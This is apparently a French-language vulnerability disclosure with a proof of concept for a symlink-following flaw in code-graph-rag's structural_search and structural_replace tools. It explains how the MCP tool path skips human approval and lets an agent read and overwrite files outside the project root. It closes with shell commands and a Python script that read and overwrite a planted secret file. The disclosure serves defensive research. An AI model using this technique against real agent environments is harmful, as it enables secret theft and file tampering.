
PoC — suivi de lien symbolique permettant la lecture/écriture arbitraire de fichiers en dehors de la racine du projet dans code-graph-rag (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1).
Statut CVE : demandé, en attente d'attribution. Cette découverte est publiée sous GHSA-85gg-2gfq-q95m. À l'attribution de la CVE, ce dépôt sera renommé
CVE-YYYY-NNNNN-code-graph-rag-PoCet cette bannière sera remplacée par le lien CVE.
| Chercheur | Dostxodjayev Abdullox (@squeeze440) |
| Avis | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (Élevé) |
| Faiblesse | CWE-59, CWE-22 |
Résumé
Un attaquant distant/local capable de faire inclure un lien symbolique dans un dépôt de code source que code-graph-rag analyse peut amener les outils structural_search et structural_replace (reposant sur AstGrepService, exposés à la fois comme outils MCP et comme outils d'IA agentique) à lire et — via structural_replace avec dry_run=False — à écraser des fichiers arbitraires en dehors de la racine de projet configurée, car la vérification de confinement de chemin de l'outil (should_skip_path/_classify_file) est effectuée de manière lexicale sur le chemin non résolu et ne vérifie jamais Path.is_symlink() ni n'appelle .resolve(), contrairement au décorateur validate_project_path du projet lui-même (correct) utilisé ailleurs.
Produit
vitali87/code-graph-rag (PyPI : code-graph-rag, CLI : cgr)
Version testée
Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (version pyproject 0.0.550) — main actuel au moment du test. Confirmé que ce commit contient déjà le correctif de l'avis précédent (GHSA-vvr2-h2jp-838m : traversée de chemin dans read_file paginé) et la nouvelle barrière d'authentification bearer HTTP-MCP (_validate_http_exposure dans codebase_rag/mcp/server.py), il s'agit donc d'un problème distinct, toujours ouvert, par-dessus ces correctifs.
CVSS v3.1 estimé
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (Élevé)
Métriques non évidentes :
structural_search/structural_replace contre ce projet pour que la lecture/écriture se déclenche.Détails
AstGrepService (codebase_rag/tools/ast_grep_service.py) alimente à la fois les outils MCP/agentiques structural_search et structural_replace. Il énumère les fichiers candidats avec os.walk() et ne filtre chaque chemin que via should_skip_path() :
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — parcourt self.project_root avec os.walk() ; chaque entrée de répertoire non-répertoire retournée par os.walk (y compris un lien symbolique pointant n'importe où sur le disque) est traitée comme un fichier dans le périmètre.codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — la seule vérification de confinement est should_skip_path(...) suivie de abs_path.relative_to(self.project_root) (ligne 82) ; abs_path n'est jamais résolu, donc cette vérification est purement lexicale/basée sur des chaînes.codebase_rag/utils/path_utils.py:80-109 (should_skip_path) et codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — calcule rel_path = file_path.relative_to(repo_path) sans jamais appeler .resolve() ni Path.is_symlink(). Rien dans cette fonction ne traite un lien symbolique différemment d'un fichier réel.codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) appelle path.read_text(), que Python suit à travers le lien symbolique jusqu'à sa cible réelle, peu importe où cette cible se trouve.codebase_rag/tools/ast_grep_service.py:187-208 (replace), spécifiquement la ligne 208 — abs_path.write_text(new_source, ...) lorsque dry_run=False, suivant à nouveau le lien symbolique et écrasant le contenu du fichier cible réel.Ceci est incohérent avec la façon dont le reste du codebase gère exactement la même classe de risque. Les outils de lecture/écriture/édition de fichiers (file_reader.py, file_writer.py, file_editor.py) sont tous protégés par validate_project_path (codebase_rag/decorators.py:73-75) :
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() suit les liens symboliques avant que la vérification de confinement ne s'exécute, donc ces outils rejettent correctement une cible hors racine. Le propre absolute_path_within_project_root() de path_utils.py (codebase_rag/utils/path_utils.py:156-176) documente explicitement le même principe dans sa docstring : « Les appels à resolve() sont porteurs : le confinement est vérifié de manière lexicale, donc un segment .. non résolu ou un lien symbolique s'échapperait de la racine. » — mais should_skip_path()/AstGrepService, utilisés par structural_search/structural_replace, n'appliquent jamais ce modèle.
Accessibilité / exposition des deux outils :
structural_search (codebase_rag/tools/structural_search.py:24-46) ne porte aucun indicateur requires_approval — le modèle d'un client MCP peut l'appeler de manière autonome sans confirmation humaine.structural_replace (codebase_rag/tools/structural_editor.py:52-57) est marqué requires_approval=True, mais cet indicateur n'est appliqué que par la propre boucle d'agent de pydantic-ai. Le chemin du serveur MCP le contourne entièrement : MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) appelle directement self._structural_editor_tool.function(...), et l'outil MCP est enregistré sans aucun concept d'approbation à codebase_rag/mcp/tools.py:369-388 (ToolMetadata pour MCPToolName.STRUCTURAL_REPLACE) — tout client MCP capable d'appeler des outils peut invoquer structural_replace avec dry_run=False en une seule fois.Preuve de concept
Confirmé dynamiquement contre le paquet installé (mgclient/pymgclient simulés exactement comme dans le PoC de l'avis précédent, car le client natif Memgraph n'est pas nécessaire pour ce chemin de code).
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())